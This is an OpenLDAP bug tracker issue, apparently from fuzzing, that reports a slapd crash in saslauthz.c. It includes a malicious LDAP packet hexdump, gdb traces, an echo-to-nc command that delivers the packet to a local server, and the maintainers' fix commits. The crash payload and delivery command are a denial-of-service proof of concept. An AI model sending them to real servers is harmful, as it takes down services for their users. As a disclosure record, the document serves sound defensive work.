Issue 9409 - Free of null ptr in saslauthz.c:861

Status:	VERIFIED FIXED	**Reported:**	2020-11-30 10:11 UTC by phasip
Alias:	None	**Modified:**	2021-01-18 20:05 UTC (History)
Product:	OpenLDAP	**CC List:**	0 users
Component:	slapd (show other issues)	**See Also:**	
Version:	unspecified		
Hardware:	All All		
Importance:	--- normal		
Target Milestone:	2.4.57		
Assignee:	OpenLDAP project		
URL:			
Keywords:			
Depends on:			
Blocks:			

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

phasip **2020-11-30 10:11:19 UTC** Description

```
A malicious packet can force OpenLDAP to free a nullptr.
free(): invalid pointer
Program received signal SIGABRT, Aborted.
0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6

Packet:
    00000000: 307f 0201 306e 3030 0030 3030 0b73 6153  0...0n00.000.saS
    00000010: 6c41 7574 687a 546f 3030 6c64 6170 3a2f  lAuthzTo00ldap:/
    00000020: 2f2f 3f3f 3f41 3030 3030 3030 3030 3030  //???A0000000000
    00000030: 3030 3d30 3030 3030 3030 3030 3030 3030  00=0000000000000
    00000040: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000060: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000070: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000080: 30                                       0

Gdb output:
    (Reading symbols from /openldap/servers/slapd/fuzzing.debug...
    (gdb) break saslauthz.c:861
    Breakpoint 1 at 0xa8c54: file saslauthz.c, line 861.
    (gdb) run
    Starting program: /openldap/servers/slapd/fuzzing.debug < crash
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    5fc4c394 daemon_init: ldapi://%2Ftmp%2Fldapi
    5fc4c394 mdb_db_open: "dc=example,dc=org"
    5fc4c394 daemon: epoll_ctl(ADD,fd=10) failed, errno=1, shutting down
    5fc4c394 connection_get(10)

    Breakpoint 1, authzPrettyNormal (val=0x7fffffffe3c0, normalized=0x7fffffffe350,
        ctx=0x5555559ab8e0, normalize=0) at saslauthz.c:861
    861                             ber_memfree( ludp->lud_dn );
    (gdb) x/x ludp->lud_dn
    0x5555559ab948: 0x00000000
    (gdb) c
    Continuing.
    free(): invalid pointer

    Program received signal SIGABRT, Aborted.
    0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    (gdb) bt
    #0  0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6
    #1  0x00007ffff7dc9859 in abort () from /lib/x86_64-linux-gnu/libc.so.6
    #2  0x00007ffff7e343ee in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    #3  0x00007ffff7e3c47c in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    #4  0x00007ffff7e3dcac in ?? () from /lib/x86_64-linux-gnu/libc.so.6
    #5  0x00005555556fa370 in ber_memfree_x (p=0x5555559ab948, ctx=0x0) at
memory.c:152
    #6  0x00005555556fa3e2 in ber_memfree (p=0x5555559ab948) at memory.c:165
    #7  0x00005555555fcc67 in authzPrettyNormal (val=0x7fffffffe3c0,
normalized=0x7fffffffe350,
        ctx=0x5555559ab8e0, normalize=0) at saslauthz.c:861
    #8  0x00005555555fce57 in authzPretty (syntax=0x555555801640,
val=0x7fffffffe3c0,
        out=0x7fffffffe350, ctx=0x5555559ab8e0) at saslauthz.c:905
    #9  0x00005555555b94d8 in asserted_value_validate_normalize (ad=0x555555810fb0,
        mr=0x555555808730, usage=257, in=0x7fffffffe3c0, out=0x7fffffffe3d8,
text=0x7fffffffe490,
        ctx=0x5555559ab8e0) at value.c:153
```

```
    #10 0x00005555555b15f1 in do_compare (op=0x5555559ab4b0, rs=0x7fffffffe470) at
compare.c:110
    #11 0x0000555555591cc0 in connection_operation (ctx=0x5555557fa5a0
<ldap_int_main_thrctx>,
        arg_v=0x5555559ab4b0) at connection.c:1163
    #12 0x00005555555923e9 in connection_read_thread (ctx=0x5555557fa5a0
<ldap_int_main_thrctx>,
        argv=0xa) at connection.c:1318
    #13 0x0000555555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100

Testing (also works on latest build from source):
    (Term1) # docker run -it --net=host bitnami/openldap
    (Term2) # echo -ne
"\x30\x7f\x02\x01\x30\x6e\x30\x30\x00\x30\x30\x30\x0b\x73\x61\x53\x6c\x41\x75\x74\x68\x7a\x54\x6f\x30\x30\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\
| nc localhost 1389

Bugfix:
    The erroring code (saslauthz.c:861) doesn't check whether the lud_dn is null
before freeing it.
    The freeing of lud_filter a few lines above probably suffers from the same
issue.
```

Howard Chu **2020-11-30 11:35:55 UTC** Comment 1

(In reply to phasip from comment #0)
> A malicious packet can force OpenLDAP to free a nullptr.
> free(): invalid pointer
> Program received signal SIGABRT, Aborted.
> 0x00007ffff7dea18b in raise () from /lib/x86_64-linux-gnu/libc.so.6

This report is invalid. free() of a NULL pointer is defined to be a no-op.

phasip **2020-11-30 12:16:56 UTC** Comment 2

Thanks for the clarification.
The crash happens - however the description as to why it happens was incorrect.

A NULL ptr is not being freed, an invalid pointer is being freed.

I am reopening this to ensure it gets another review.

Howard Chu **2020-12-01 00:43:14 UTC** Comment 3

(In reply to phasip from comment #2)
> Thanks for the clarification.
> The crash happens - however the description as to why it happens was
> incorrect.
>
> A NULL ptr is not being freed, an invalid pointer is being freed.
>
> I am reopening this to ensure it gets another review.

Fixed in git master

Quanah Gibson-Mount **2020-12-02 21:56:33 UTC** Comment 4

trunk:

Commits:
  • 0e09c857
by Howard Chu at 2020-11-30T11:45:46+00:00
ITS#9409 saslauthz: use ch_free on normalized DN

Commits:
  • b1c1a5eb
by Howard Chu at 2020-11-30T16:20:18+00:00
ITS#9409 saslauthz: use slap_sl_free in prev commit

RE24:

  • c0b61a94
by Howard Chu at 2020-12-02T21:37:21+00:00
ITS#9409 saslauthz: use ch_free on normalized DN

  • 554dff19
by Howard Chu at 2020-12-02T21:38:39+00:00
ITS#9409 saslauthz: use slap_sl_free in prev commit